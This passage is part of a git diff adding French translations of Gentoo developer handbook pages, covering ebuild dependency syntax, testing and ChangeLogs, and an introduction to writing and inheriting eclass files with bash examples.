+et installées correctement avant que Mozilla ne soit lui-même construit.
+</p>
+
+<p>
+Portage va même jusqu'à distinguer les dépendances dues à la compilation et
+celles dues au lancement. Cela dit, pour le moment, Portage installe toutes les
+dépendances de compilation et de lancement, et laisse l'état tel quel. Dans
+une prochaine version, il est prévu de permettre que seules les dépendances de
+lancement soient effectivement installées.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Comment préciser les dépendances dans vos ebuild</title>
+<body>
+
+<p>
+La variable <c>DEPEND</c> dans votre <path>foo-x.y.z.ebuild</path> indique à
+Portage les paquets qui sont nécessaires à la construction de <path>foo</path>.
+La variable <c>RDEPEND</c> indique à Portage les paquets nécessaires à son
+lancement. Vous n'avez besoin de spécifier explicitement <c>RDEPEND</c> que si
+les dépendances de lancement de l'ebuild sont différentes de celles spécifiées
+dans <c>DEPEND</c>&nbsp;; Si <c>RDEPEND</c> n'est pas spécifié, la valeur par
+défaut sera celle de <c>DEPEND</c>. <b>Ne jamais</b> initialiser <c>RDEPEND</c>
+à <c>DEPEND</c> par vous-même dans un ebuild.
+</p>
+
+<pre caption="Exemple de dépendances">
+DEPEND="virtual/glibc
+        sys-libs/zlib"
+RDEPEND="virtual/glibc"
+</pre>
+
+<p>
+Cela indique à Portage de construire <path>foo-x.y.z</path>, les paquets
+<path>virtual/glibc</path> (plus de précisions sur les virtuals seront données
+plus tard) et <path>sys-libs/zlib</path> étant nécessaires à la construction. Il
+ne précise pas la version de glibc ou zlib dont vous avez besoin, ce qui
+signifie que <e>n'importe laquelle</e> ira très bien.
+</p>
+
+<p>
+La mention de <e>n'importe laquelle</e> fait évidemment un peu peur et ne
+fonctionnera en général pas. En revanche, pour des bibliothèques centrales
+comme glibc qui fait tout pour avoir des binaires toujours compatibles, ça
+fonctionnera. Pour d'autres bibliothèques, on peut évidemment préciser la
+version des dépendances.
+</p>
+
+<pre caption="Exemple avec les versions">
+&gt;=sys-apps/bar-1.2
+ =sys-apps/baz-1.0
+</pre>
+
+<p>
+&gt;= et = font bien ce qu'on espère qu'ils feront&nbsp;: toutes les versions
+plus récentes que sys-apps/bar version 1.2 conviendront (ce qui signifie aussi
+que sys-apps/bar-2.0 suffira), alors que sys-apps/baz version 1.0 est l'unique
+version acceptée. Pour plus d'informations sur le schéma de version des
+paquets voir la section plus haut sur comment <uri
+link="#doc_chap2_sect2">nommer des fichiers ebuild</uri>.
+</p>
+
+<p>
+Voici d'autres méthodes pour spécifier la version des dépendances&nbsp;:
+</p>
+
+<pre caption="Spécifier la version des dépendances">
+~sys-apps/qux-1.0
+=sys-apps/foo-1.2*
+!sys-libs/gdbm
+</pre>
+
+<p>
+~sys-apps/qux-1.0 va sélectionner la révision la plus récente de qux-1.0 dans
+Portage.
+</p>
+
+<p>
+=sys-apps/foo-1.2* va selectionner le membre le plus récent de la série 1.2,
+mais ignorera la 1.3 et les versions plus récentes/vieilles. Ainsi foo-1.2.3 et
+foo-1.2.0 sont tous les deux valides, mais foo-1.3.3, foo-1.3.0 et foo-1.1.0 ne
+le sont pas.
+</p>
+
+<p>
+!sys-libs/gdbm vous empêchera d'installer ce paquet tant que gdbm sera déjà
+installé.
+</p>
+</body>
+</subsection>
+
+<subsection>
+<title>À noter</title>
+<body>
+
+<p>
+De nombreux problèmes peuvent survenir à cause des variables DEPEND et RDEPEND.
+Les conseils suivants devraient vous aider à éviter ces problèmes&nbsp;:
+</p>
+
+<ul>
+  <li>
+    <e>Toujours indiquer la catégorie</e>.<br/>
+    Par exemple, utilisez <c>&gt;=x11-libs/gtk+-2</c> et pas
+    <c>&gt;=gtk+-2</c>&nbsp;;
+  </li>
+  <li>
+    <e>Ne pas utiliser d'astérisque (*) pour les dépendances &gt;=.</e><br/>
+    Par exemple, utilisez <c>&gt;=x11-libs/gtk+-2</c> et pas
+    <c>&gt;=x11-libs/gtk+-2*</c>&nbsp;;
+  </li>
+  <li>
+    <e>Ne pas créer de dépendance sur un meta-paquet.</e><br/> Ne faites pas
+    dépendre vos ebuilds de gnome-base/gnome, mais utilisez la bibliothèque
+    spécifique&nbsp;;
+  </li>
+  <li>
+    <e>Une seule dépendance par ligne.</e><br/>
+    Ne mettez pas plusieurs dépendances sur la même ligne, car elles difficiles
+    à lire&nbsp;;
+  </li>
+  <li>
+    <e>GTK: toujours utiliser =x11-libs/gtk+-1.2* pour des applications
+    GTK+1.</e>
+  </li>
+</ul>
+
+<p>
+De plus, il est important de vérifier que toutes les dépendances sont
+mentionnées&nbsp;:
+</p>
+
+<ul>
+  <li>
+    <e>Regardez dans configure.in ou configure.ac</e>.<br/>
+    Cherchez y des tests sur la présence de paquets tels que pkg-config ou des
+    fonctions AM_* qui testent des versions spécifiques&nbsp;;
+  </li>
+  <li>
+    <e>Regardez dans les fichiers .spec</e>.<br/>
+    Ces fichiers donnent de bonnes indications quant aux dépendances, mais ne
+    les considérez pas commme complets&nbsp;;
+  </li>
+  <li>
+    <e>Consultez le site de l'application ou de la bibliothèque</e>.<br/>
+    Vérifiez les dépendances mentionnées sur les sites concernés&nbsp;;
+  </li>
+  <li>
+    <e>Lisez le fichiers README et INSTALL du paquet</e>.<br/>
+    Ils contiennent souvent des indications précieuses&nbsp;;
+  </li>
+  <li>
+    <e>N'oubliez pas les dépendances non-relatives au programme même, par
+    exemple pkg-config, la génération de la documentation, etc.</e><br/>
+    Généralement, la compilation nécessite des outils tels que intltool,
+    libtool, pkg-config, doxygen, scrollkeeper, gtk-doc, etc. Vérifiez que ces
+    dépendances sont indiquées.
+  </li>
+</ul>
+
+<p>
+Pour les derniers détails sur les éléments DEPEND, lisez la section 5 de
+la page man sur les ebuilds&nbsp;: <c>man 5 ebuild</c>.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Tester et déployer</title>
+<subsection>
+<title>ChangeLog</title>
+<body>
+
+<p>
+Dès que vous mettez à jour un (ou que vous écrivez un nouveau) ebuild, vous
+devez également mettre à jour (ou créer) le ChangeLog correspondant. Le fichier
+<path>skel.ChangeLog</path> contient un exemple de ChangeLog que vous pouvez
+utiliser comme base.
+</p>
+
+<p>
+L'objectif du ChangeLog est de documenter <e>ce qui a été fait</e>,
+<e>pourquoi</e> cela a été fait et <e>par qui</e>. Cela permet à la fois aux
+développeurs et aux utilisateurs de garder une trace des changements effectués
+de manière simple.
+</p>
+
+<p>
+Le ChangeLog est tout d'abord fait pour les utilisateurs, donc assurez-vous
+qu'il reste court (jusqu'à un certain point) et évitez de devenir verbeux sur
+les détails techniques internes.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Sauvegarder vos propres ebuilds localement</title>
+<body>
+
+<p>
+Afin de pouvoir tester vos ebuilds et de permettre à Portage de les utiliser,
+vous devez les placer dans un répertoire connu. Portage utilisera la variable
+<c>PORTDIR_OVERLAY</c> que vous pouvez définir dans
+<path>/etc/make.conf</path>. Vous devriez fixer cette variable à votre
+répertoire local de travail (par exemple, <path>/usr/local/portage</path>).
+</p>
+
+<p>
+Dans ce répertoire, vous devez avoir la même structure (et les mêmes catégories)
+que dans <path>/usr/portage</path>.
+</p>
+
+<p>
+En utilisant <c>PORTDIR_OVERLAY</c>, vos ebuilds restent sur votre système, même
+après un <c>emerge sync</c> et ils restent connus de Portage.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Tester le paquet</title>
+<body>
+
+<p>
+Prenez le temps de penser à la façon de tester votre paquet.  Parfois, les
+développeurs ont intégré une routine <c>make check</c> qui permet de tester les
+fonctionnalités de base du paquet.  Dans ce cas, la commande <c>env
+FEATURES=test ebuild <path>foo-x.y.z.ebuild</path> test</c> l'exécutera.
+Si cela ne fonctionne pas, essayez de résoudre le problème et proposez votre
+solution aux développeurs du paquet.
+</p>
+
+<p>
+Dans le cas contraire, pensez à ajouter une routine <c>src_test</c> à votre
+ebuild. Elle sera exécutée avant la routine <c>src_install</c> et permet de
+vérifier que le programme fonctionne sur toutes les architectures. Chaque
+responsable d'une architecture appréciera cette fonction, car elle leur évite
+de devoir connaître le paquet en question.
+</p>
+
+<p>
+N'oubliez pas les spécifications des ebuilds. La routine <c>src_test</c> ne
+doit pas être interactive. Si elle dépend d'autres paquets, utilisez l'option
+USE <c>test</c> pour indiquer qu'il y a des dépendances à la compilation.
+De plus, remarquez qu'une routine <c>src_test</c> n'est pas recommandée pour
+des applications graphiques X, car l'utilisateur qui exécute portage ne peut
+généralement pas lancer ce type d'application.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Outils de tests utiles</title>
+<body>
+
+<p>
+Vous disposez de quelques outils pratiques pour vous aider à écrire et
+maintenir vos ebuilds.
+</p>
+
+<table>
+<tr>
+  <th>Outil</th>
+  <th>Paquet</th>
+  <th>Description</th>
+</tr>
+
+<tr>
+  <ti><c>repoman</c></ti>
+  <ti>sys-apps/portage</ti>
+  <ti>
+    Un outil pour les développeurs uniquement, pour les assister dans la
+    procédure de vérification pour déposer un ebuild dans le CVS. Il effectue
+    de nombreuses vérifications communes de qualité (QA) et essaie de s'assurer
+    que les fichiers ajoutés dans le cvs ne vont pas casser l'arborescence de
+    Portage
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>ccache</c></ti>
+  <ti>dev-util/ccache</ti>
+  <ti>
+    Outil qui garde les fichiers pré-compilés, pour pouvoir rendre la
+    compilation <e>plus</e> rapide. Assurez-vous d'ajouter <c>ccache</c> dans
+    votre variable <c>FEATURES</c> dans le fichier <path>/etc/make.conf</path>
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>sandboxshell</c></ti>
+  <ti>app-shells/sandboxshell</ti>
+  <ti>
+    Ouvre un shell qui crée un environnement «&nbsp;bac à sable&nbsp;». Très
+    utile pour entrer dans le même environnement que celui dans lequel Portage
+    construit les paquets, et y appliquer manuellement des corrections
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>echangelog</c></ti>
+  <ti>app-portage/gentoolkit-dev</ti>
+  <ti>
+    Permet de créer un nouveau ChangeLog ou d'ajouter une entrée dans un
+    ChangeLog déjà existant
+  </ti>
+</tr>
+</table>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/devrel/handbook/hb-guide-eclass.xml b/xml/htdocs/proj/fr/devrel/handbook/hb-guide-eclass.xml
new file mode 100644
index 00000000..67dd451f
--- /dev/null
+++ b/xml/htdocs/proj/fr/devrel/handbook/hb-guide-eclass.xml
@@ -0,0 +1,1105 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<sections>
+<section>
+<title>Introduction aux fichiers eclass</title>
+<subsection>
+<title>Le principe des fichiers eclass</title>
+<body>
+
+<p>
+Les fichiers eclass sont des modules de code partagé. Ils sont écrits en bash
+et ont la même syntaxe que les ebuilds ordinaires. Ils sont hérités par des
+ebuilds ou d'autres eclass pour proposer des configurations par défaut et des
+fonctionnalités qu'on peut retrouver dans de nombreux ebuilds similaires.
+</p>
+
+<p>
+Cela permet d'assurer une réutilisation du code entre des ebuilds similaires.
+</p>
+
+<p>
+Le premier chapitre montre rapidement comment écrire un eclass en y incorporant
+des astuces et techniques standards utilisées dans des eclass déjà existants.
+Le second chapitre offre un tour d'horizon des eclass de KDE. Le troisième
+explique comment créer un ebuild pour KDE en utilisant le groupe d'eclass de
+KDE.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Un exemple d'eclass simple</title>
+<body>
+
+<p>
+Voici un fichier eclass fictif&nbsp;: sourceforge.eclass, créé pour proposer la
+page Internet principale et des URI de téléchargement pour des projets hébergés
+par sourceforge.net.
+</p>
+
+<pre caption="Exemple : sourceforge.eclass">
+# Copyright 2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License, v2 or later
+# Author Dan Armak &lt;danarmak@gentoo.org&gt;
+# &#36;Header:&#36;
+# This eclass sets ${HOMEPAGE} and ${SRC_URI} to the standard values for
+# sourceforge.net - hosted projects.
+
+HOMEPAGE="http://${PN}.sourceforge.net/"
+SRC_URI="http://download.sourceforge.net/${PN}/${P}.tar.gz"
+</pre>
+
+<p>
+Les quatre premières lignes forment l'en-tête qu'on peut trouver dans n'importe
+quel ebuild. Les deux lignes suivantes sont une description rapide de l'eclass.
+Le reste du code est ce qui fait effectivement le travail&nbsp;: initialiser
+SRC_URI et HOMEPAGE.
+</p>
+
+<p>
+La plupart des eclass proposent des fonctions d'aide ou des déclarations de
+variables&nbsp;: ils contiennent les versions par défaut des fonctions
+spéciales d'ebuild (src_unpack, src_compile, etc.) Avant d'écrire une fonction
+par défaut dans un eclass, vous devriez prendre connaissance des fonctions par
+défaut déjà contenues dans ebuild.sh. Elles contiennent les fonctions qui
+seront exécutées si vous n'incluez pas de fonctions dans votre ebuild (même pas
+en passant par un eclass)&nbsp;: src_unpack(), par exemple, est une fonction
+par défaut qui est souvent utilisée. Si vous ne l'avez pas encore fait, jetez
+un œil dans les implémentations par défaut dans ebuild.sh.
+</p>
+
+<p>
+C'est tout ce que vous avez besoin de savoir pour écrire des fichiers eclass.
+Mettez votre nouvel eclass dans <path>${PORTDIR}/eclass/</path> et ajoutez
+cette ligne au début de votre ebuild&nbsp;:
+</p>
+
+<pre caption ="Comment hériter d'un eclass">
+inherit sourceforge
+</pre>
+
+<p>
+Les contenus de l'eclass seront insérés à cet endroit. Souvenez-vous que toutes
+les fonctions et variables définies dans l'eclass peuvent être récrites dans
+l'ebuild dans la mesure où le code de l'ebuild sera exécuté après celui de
+tous les eclass dont il hérite. De ce fait, vous devez essayer de mettre le
+plus possible de configuration par défaut et de code mis en commun dans votre
+eclass.  Toutes les modifications et configurations non-standards peuvent être
+mises dans l'ebuild.
+</p>
+
+<p>
+Et vous pouvez bien sûr faire hériter un ebuild de plusieurs eclass en
+procédant ainsi&nbsp;:
+</p>
+
+<pre caption="Héritage multiple">
+inherit eclass1 eclass2 [...]
+</pre>
+
+<p>
+Mais faites attention à l'ordre dans lequel ils sont mis&nbsp;!  Souvenez-vous,
+les eclass peuvent hériter d'autres eclass et remplacer les configurations
+créées par d'autres, donc vous devez faire attention quand vous utilisez
+plusieurs eclass à la fois.
+</p>
+
+<p>
+Nous allons maintenant donner une liste de petits trucs utiles pour l'écriture
+d'eclass avant d'aller voir les eclass déjà présents dans Portage.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>inherit()</title>
+<body>
+
+<p>
+Cette fonction est présente dans ebuild.sh et permet l'héritage des eclass.
+Elle est appelée avec la liste des noms d'eclass à faire hériter&nbsp;: inherit
+&lt;eclass1&gt; [eclass2 eclass3...].
+</p>
+
+<p>
+En plus de récupérer effectivement les sources des fichiers eclass, elle va
+mettre à jour les variables ECLASS et INHERITED qui sont utilisées par Portage
+pour mettre en tampon les dates de dernière modification des eclass. La
+variable INHERITED peut également être utilisée lors de l'écriture d'un fichier
+eclass&nbsp;: elle contient la liste des eclass hérités (dont la source a été
+récupérée) jusqu'au moment de la vérification, dans l'ordre. De ce fait, un
+eclass peut l'utiliser pour déterminer si oui ou non il a été appelé par
+d'autres eclass.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>EXPORT_FUNCTIONS</title>
+<body>
+
+<p>
+Un bon set de fonctions prédéfinies dans un eclass peut souvent être utilisé
+comme tel. L'ebuild contiendra alors très peu de code (ce qui est une bonne
+chose). Cependant, les fonctions d'un eclass ne font parfois pas ce que l'on
+attend d'elles. Vous pouvez écrire une nouvelle fonction dans votre ebuild, en
+écrasant ainsi la définition proposée par l'eclass. Mais cela diminue
+l'avantage d'avoir un code réutilisable. Nous essayons donc, à la place,
+d'étendre les fonctionnalités des eclass.
+</p>
+
+<p>
+Supposons que vous vouliez étendre src_compile(). Vous pouvez écrire une
+définition de src_compile() qui ne contiendra que les parties manquantes de
+l'eclass src_compile(). Vous pouvez alors appeler l'eclass contenant
+src_compile() et exploiter le code de votre fonction personnalisée.
+</p>
+
+<p>
+Toutefois, si vous créez une nouvelle fonction src_compile(), bash oubliera
+l'ancienne et ne sera pas capable de l'appeler&nbsp;! C'est ici que la macro
+EXPORT_FUNCTIONS entre en jeu.
+</p>
+
+<p>
+Observons un autre problème en attendant la solution. Supposons que foo.eclass
+et bar.eclass définissent tous les deux src_compile(). Si vous héritez à la
+fois de foo et de bar, vous aurez à votre disposition plusieurs implémentations
+de src_compile(), selon l'ordre d'héritage que vous avez déclaré. Vous devez
+donc garder un œil sur l'ordre de l'héritage des eclass. Mais vous pouvez
+vouloir appeler de manière explicite n'importe lequel des deux src_compile().
+</p>
+
+<p>
+Donc, tous les eclass ajoutent aux fonctions qu'ils définissent un préfixe.  Du
+coup, foo.eclass va définir une fonction foo_src_compile() et bar.eclass
+définira de son côté bar_src_compile(). De cette manière, l'ebuild peut appeler
+les deux fonctions sans problème.
+</p>
+
+<p>
+Cependant, vous voulez également avoir une fonction générique src_compile() ou
+peut-être même que l'ebuild en a une déjà définie. La macro EXPORT_FUNCTIONS
+résoud les deux problèmes présentés précédemment.
+</p>
+
+<pre caption="EXPORT_FUNCTIONS() (depuis ebuild.sh)">
+EXPORT_FUNCTIONS() {
+	while [ "$1" ]; do
+        eval "$1() { ${ECLASS}_$1 ; }" &gt; /dev/null
+        shift
+	done
+}
+</pre>
+
+<p>
+La fonction inherit() initialise ${ECLASS} au nom de l'eclass avant de récupérer
+les sources. L'eclass, à la fin, appelle EXPORT_FUNCTIONS() en lui passant
+comme paramètres la liste des fonctions par défaut qu'il propose. Par exemple,
+si vous appelez&nbsp;:
+</p>
+
+<pre caption="Exemple d'utilisation de EXPORT_FUNCTIONS">
+EXPORT_FUNCTIONS src_compile src_install
+</pre>
+
+<p>
+Alors, EXPORT_FUNCTIONS appellera eval() sur les chaînes de caractères
+suivantes&nbsp;:
+</p>
+
+<pre caption="Résultat d'utilisation de EXPORT_FUNCTIONS">
+src_unpack() { foo_src_compile() ; }
+src_compile() { foo_src_compile() ; }
+</pre>
+
+<p>
+De plus, n'importe quel eclass hérité définira la fonction par défaut
+src_compile() à la fin, mais les deux fonctions peuvent également être appelées
+par l'ebuild si nécessaire.
+</p>
+
+<p>
+Vous pouvez également étendre la fonction src_compile() en appelant la fonction
+de l'eclass à l'intérieur de votre propre fonction. Vous devez alors utiliser
+le nom complet de la fonction par défaut foo_src_compile. Par exemple&nbsp;:
+</p>
+
+<pre caption="Étendre une fonction définie par défaut dans un eclass dans votre ebuild">
+<comment>#dans foo.eclass:</comment>
+foo_src_compile() {
+	<i>[code par défaut ici]</i>
+}
+
+EXPORT_FUNCTIONS src_compile
+<comment>#fin du code de l'eclass</comment>
+
+<comment>#dans un ebuild:</comment>
+inherit foo
+
+src_compile() {
+	<i>[code personnalisé ici]</i>
+	foo_src_compile
+	<i>[plus de code personnalisé ici]</i>
+}
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Les sections de fonction</title>
+<body>
+
+<p>
+Parfois, étendre une fonctions en ajoutant du code avant et après n'est pas
+assez flexible. Avec des fonctions longues et complexes, on veut parfois
+pouvoir utiliser son propre code au sein des fonctions par défaut.
+</p>
+
+<p>
+Les sections de fonction proposent une plus grande flexibilité qui permet de
+s'affranchir du problème soulevé. Elles cassent les fonctions en sections et
+vous permettent d'exécuter du code entre deux sections quelconques.
+</p>
+
+<p>
+L'implémentation est simple. Prenons par exemple la fonction src_compile()
+depuis base.eclass (Note&nbsp;: il n'existe plus, mais c'est un assez bon
+exemple). Cette fonction ressemble à ceci&nbsp;:
+</p>
+
+<pre caption="Exemple pris sur le fichier base.eclass d'origine">
+base_src_compile() {
+    ./configure || die
+    emake || die
+}
+</pre>
+
+<p>
+Ici, on trouve une même fonction, divisée en deux sections&nbsp;:
+</p>
+
+<pre caption="La même fonction, divisée en sections">
+base_src_compile() {
+  [ -z "$1" ] &amp;&amp; base_src_compile all
+  while [ "$1" ]; do
+    case $1 in
+      configure)
+        ./configure || die;;
+      make)
+         emake || die;;
+      all)
+        base_src_compile configure make;;
+    esac
+    shift
+  done
+}
+</pre>
+
+<p>
+Ce code a été divisé en deux sections&nbsp;: <c>configure</c> et <c>make</c>.
+Dans notre exemple, ils correspondent aux deux commandes de la fonction
+d'origine.
+</p>
+
+<p>
+Au centre de notre fonction, on a un bloc while;case...esac;shift;done. Ce bloc
+vérifie les paramètres passés à la fonction et exécute les lignes de code
+correspondant aux paramètres passés.
+</p>
+
+<p>
+Le cas particulier <c>all</c> appelle la fonction de manière récursive avec une
+liste de sections dans l'ordre. C'est à l'auteur de l'eclass de maintenir cette
+liste.
+</p>
+
+<p>
+La ligne avant le bloc indique que si on effectue un appel à cette fonction
+sans lui donner de paramètres, alors il faut agir de la même manière que si on
+avait pour paramètre <c>all</c>. Comme vous pouvez le constater, cette
+fonction effectue des appels récursifs. Remarquez également que faire
+<c>base_src_compile configure all make</c> est tout aussi autorisé. Il
+exécutera en fait <c>base_src_compile configure configure make make</c>.
+</p>
+
+<p>
+Désormais, dans votre ebuild (ou eclass) héritant de base.eclass, vous
+récupérez une ébauche de fonction src_compile qui appelle base_src_compile sans
+paramètre.  Cela est en fait équivalent à un appel de base_src_compile avec
+pour paramètre <e>all</e>, c'est-à-dire une exécution de toutes ses sections.
+Vous pouvez le laisser tel quel. Si vous désirez faire une extension à votre
+appel de fonction, vous pouvez définir un nouveau src_compile et appeler
+base_src_compile section après section&nbsp;:
+</p>
+
+<pre caption="Utiliser src_compile() sectionné">
+src_compile() {
+    run_my_code1
+  base_src_compile configure
+    run_my_code2
+  base_src_compile make
+    run_my_code3
+}
+</pre>
+
+<p>
+Comme vous pouvez le remarquer, les sections de la fonction ajoutent une
+certaine flexibilité dans la mesure où vous pouvez désormais insérer du code
+entre deux sections, mais vous pouvez aussi les lancer dans un ordre différent,
+ou lancer seulement certaines sections proposées. Cela permet de mieux
+réutiliser le code.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Les fonctions debug-print-*</title>
+<body>
+
+<p>
+De nombreuses fonctions sont déjà proposées par ebuild.sh. Certaines d'entre
+elles, les fonctions debug-print-*, donnent accès à des fonctions de retour
+d'erreur de débogage pour les eclass. Elles vous permettront de faciliter le
+traçage de l'exécution de ceux-ci sans avoir à lire les (très) longs retour de
+déboggage de bash en mode debug. Par exemple, tous les eclass que j'ai créés
+appellent énormément ces fonctions.
+</p>
+
+<p>
+debug-print() affiche simplement l'ensemble de ses paramètres avec un préfixe
+en «&nbsp;debug:&nbsp;». Elle est utilisée quand un événement intéressant peut
+être mis dans les fichiers log de déboggage.
+</p>
+
+<p>
+debug-print-function() affiche «&nbsp;debug: entering function $1, parameters:
+$2 [$3 ..]&nbsp;». Elle est communément appelée au début d'une fonction.
+</p>
+
+<p>
+debug-print-section() affiche «&nbsp;debug: now in section $1&nbsp;». Elle est
+habituellement appelée au début d'une section de fonction.
+</p>
+
+<p>
+Les retours de déboggage vont normalement dans
+<path>${T}/eclass-debug.log</path>.  Vous pouvez cependant assigner une valeur
+dans la variable ECLASS_DEBUG_OUTPUT (dans <path>make.globals/conf</path> ou
+dans votre environnement tout simplement) et alors le retour y sera envoyé à la
+place de la valeur par défaut.  Vous pouvez également utiliser la valeur
+spéciale «&nbsp;on&nbsp;» qui permet d'envoyer les messages sur stdout avec les
+autres messages d'emerge.
+</p>
+
+<p>
+Ajoutons un retour de déboggage typique pour récupérer l'état d'avancement de
+l'exécution dans notre fonction exemple&nbsp;:
+</p>
+
+<pre caption="Ajouter des retours de déboggage">
+base_src_compile() {
+
+  debug-print-function
+  [ -z "$1" ] &amp;&amp; base_src_compile all
+  
+  while [ "$1" ]; do
+    case $1 in
+      configure)
+        debug-print-section configure
+        ./configure || die;;
+      make)
+        debug-print-section make
+        make || die;;
+      all)
+        debug-print-section all
+        base_src_compile configure make;;
+    esac
+  shift
+  done
+  
+  debug-print "${FUNCNAME}: result is ${RESULT}"
+}
+</pre>
+
+<p>
+Pour votre information, ${FUNCNAME} est une variable interne de bash qui
+retourne le nom de la fonction courante.
+</p>
+</body>
+</subsection>
+
+<!--
+<subsection>
+<title>newdepend()</title>
+<body>
+<p>
+Cette fonction de ebuild.sh ajoute tout simplement tous ses paramètres à DEPEND
+et RDEPEND, ce qui vous permet d'éviter d'avoir à écrire et maintenir deux
+listes de dépendances.
+</p>
+
+<p>
+Si elle est appelée avec un paramètre spécial, cette fonction ajoute des
+dépendances prédéfinies. Je ne pense pas que ce soit très élégant, et je préfère
+largement déclarer les dépendances de manière explicite désormais&nbsp;; vous
+pouvez donc considérer cela comme désuet :)
+</p>
+
+<p>
+Voici une liste de paramètres spéciaux&nbsp;:
+</p>
+
+<p>
+newdepend /autotools&nbsp;: ajoute sys-devel/autoconf sys-devel/automake et
+sys-devel/make à DEPEND (mais pas à RDEPEND).
+</p>
+
+<p>
+newdepend /c&nbsp;: ajoute virtual/glibc et sys-devel/ld.so à la fois à DEPEND
+et RDEPEND. De plus, il ajoute sys-devel/gcc à DEPEND.
+</p>
+</body>
+</subsection>
+-->
+</section>
+
+<section>
+<title>Fichiers eclass existants</title>
+<subsection>
+<title>Introduction</title>
+<body>
+
+<p>
+La plupart des eclass sont simples et vous pouvez simplement les lire et
+repérer un certain nombre d'ebuilds utilisant ceux-ci pour comprendre comment
+ils marchent. De plus, la plupart des eclass sont bien commentés, donc c'est
+mieux de les lire directement.
+</p>
+
+<p>
+Ce chapitre documente les relations existant entre les eclass kde*.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>base.eclass</title>
+<body>
+
+<p>
+Cet eclass définit plusieurs variables et fonctions par défaut similairement à
+celles que l'on aurait dans un ebuild n'héritant pas d'un eclass (et qui sont
+alors définies dans ebuild.sh). Vous ne les utiliserez probablement pas
+directement, mais exploiterez des eclass kde qui héritent de base.eclass et
+utilisent ces fonctions.
+</p>
+
+<p>
+Une fonctionnalité intéressante est <e>auto-patch</e>. Si vous initialisez la
+variable PATCHES à une liste de fichiers dans votre ebuild utilisant
+base_src_unpack() ou kde_src_unpack(), les sources seront alors corrigées
+depuis ces fichiers. Les correctifs doivent fonctionner avec l'option -p0 s'ils
+sont lancés depuis ${S}.
+</p>
+
+<p>
+Remarquez que vous pouvez initialiser PATCHES sans définir un src_unpack()
+personnalisé dans votre ebuild&nbsp;! C'est là l'astuce.
+</p>
+
+<p>
+La récente fonction epatch() dans eutils.eclass est cependant bien plus
+puissante. Elle supporte les correctifs archivés, les répertoires de correctifs
+et les séries de correctifs, et détecte automatiquement le niveau de correctif
+requis. Il est probable que autopatch l'utilise un jour ou l'autre.
+</p>
+
+<p>
+Remarquez que la section <c>patch</c> dans base_src_unpack() est
+désuète et sera bientôt supprimée. Si vous repérez un ebuild l'utilisant
+il devra être changé pour utiliser <c>autopatch</c> à la place.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>cvs.eclass</title>
+<body>
+
+<p>
+Cet eclass propose un ensemble de fonctionnalités nécessaires pour créer des
+ebuilds cvs en «&nbsp;live&nbsp;». Ce type d'ebuilds récupère les sources sur
+un serveur cvs spécifique au moment du désarchivage, ce qui permet de toujours
+avoir les derniers correctifs disponibles.
+</p>
+
+<p>
+Cependant, le support nécessaire (exploitation des versions, etc.) pour des
+ebuilds «&nbsp;live&nbsp;» dans un cvs n'a pas encore été ajouté à Portage.
+Ils peuvent fonctionner avec cet eclass, mais ce n'est pas très pratique pour
+plusieurs raisons. Pensez-y à deux fois avant de créer un ebuild de ce
+type&nbsp;: il est fort probable que récupérer un instantané d'un cvs sera
+suffisant voire mieux qu'utiliser cvs.eclass. Si vous essayez d'ajouter un tel
+ebuild à Portage, appliquez à la lettre le guide d'utilisation de cvs dans les
+guides pour développeurs.
+</p>
+
+<p>
+Avant de faire un héritage de cvs.eclass, initialisez toutes les configurations
+que vous souhaitez (et qui ne sont pas celles par défaut) ou au moins l'adresse
+du serveur et le nom du module. Voir la liste des possibilités de configuration
+et les valeurs par défaut au début du fichier cvs.eclass, marqués comme
+«&nbsp;ebuild-configurable settings&nbsp;».
+</p>
+
+<p>
+Ensuite, tout se passe de manière plus ou moins automatique. Une fonction (sans
+section) cvs_src_unpack() est proposée. Si vous voulez en savoir plus, lisez
+directement l'eclass.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>kde-functions.eclass</title>
+<body>
+
+<p>
+Cet eclass contient toutes les fonctions d'aide relatives à KDE. Parmi elles,
+il en est certaines que vous n'utiliserez jamais directement dans un
+ebuild&nbsp;; elles ne sont pas mentionnées ici et sont suffisamment commentées
+dans le fichier source.
+</p>
+
+<p>
+Par «&nbsp;fonctions d'aide&nbsp;», nous entendons toutes les fonctions qui ne
+sont pas des fonctions spécifiques aux ebuilds (src_unpack(), etc.) Tous les
+eclass kde contenant de telles fonctions spéciales héritent de kde-functions.
+</p>
+
+<p>
+La seule portion de code qui n'appartienne pas à une fonction dans
+kde-functions.eclass (qui est donc lancé lors de la récupération des fonctions
+à l'héritage) est un bloc qui détermine si oui ou non l'ebuild actuel est un
+ebuild de kde-base. Si c'est le cas, on aura KDEBASE=true. Cette variable est
+utilisée dans plusieurs tests ailleurs et il est commode d'avoir un test
+centralisé pour faire cela.
+</p>
+
+<p>
+<b>L'arborescence utilisée actuellement pour KDE</b>
+</p>
+
+<p>
+Une courte explication sur comment Gentoo gère les multiples versions
+pour KDE peut être utile&nbsp;:
+</p>
+
+<p>
+Une application KDE de kde-base est toujours placée dans
+<path>/usr/kde/${version-majeure}.${version-mineure}</path>. Donc par exemple,
+KDE 3.1.x est mis dans <path>/usr/kde/3.1</path>. Cependant, ce schéma a été
+mis en place après la mise à disposition de KDE 3.0, ce qui fait que les
+anciennes versions sont situées dans des répertoires non standards&nbsp;: KDE
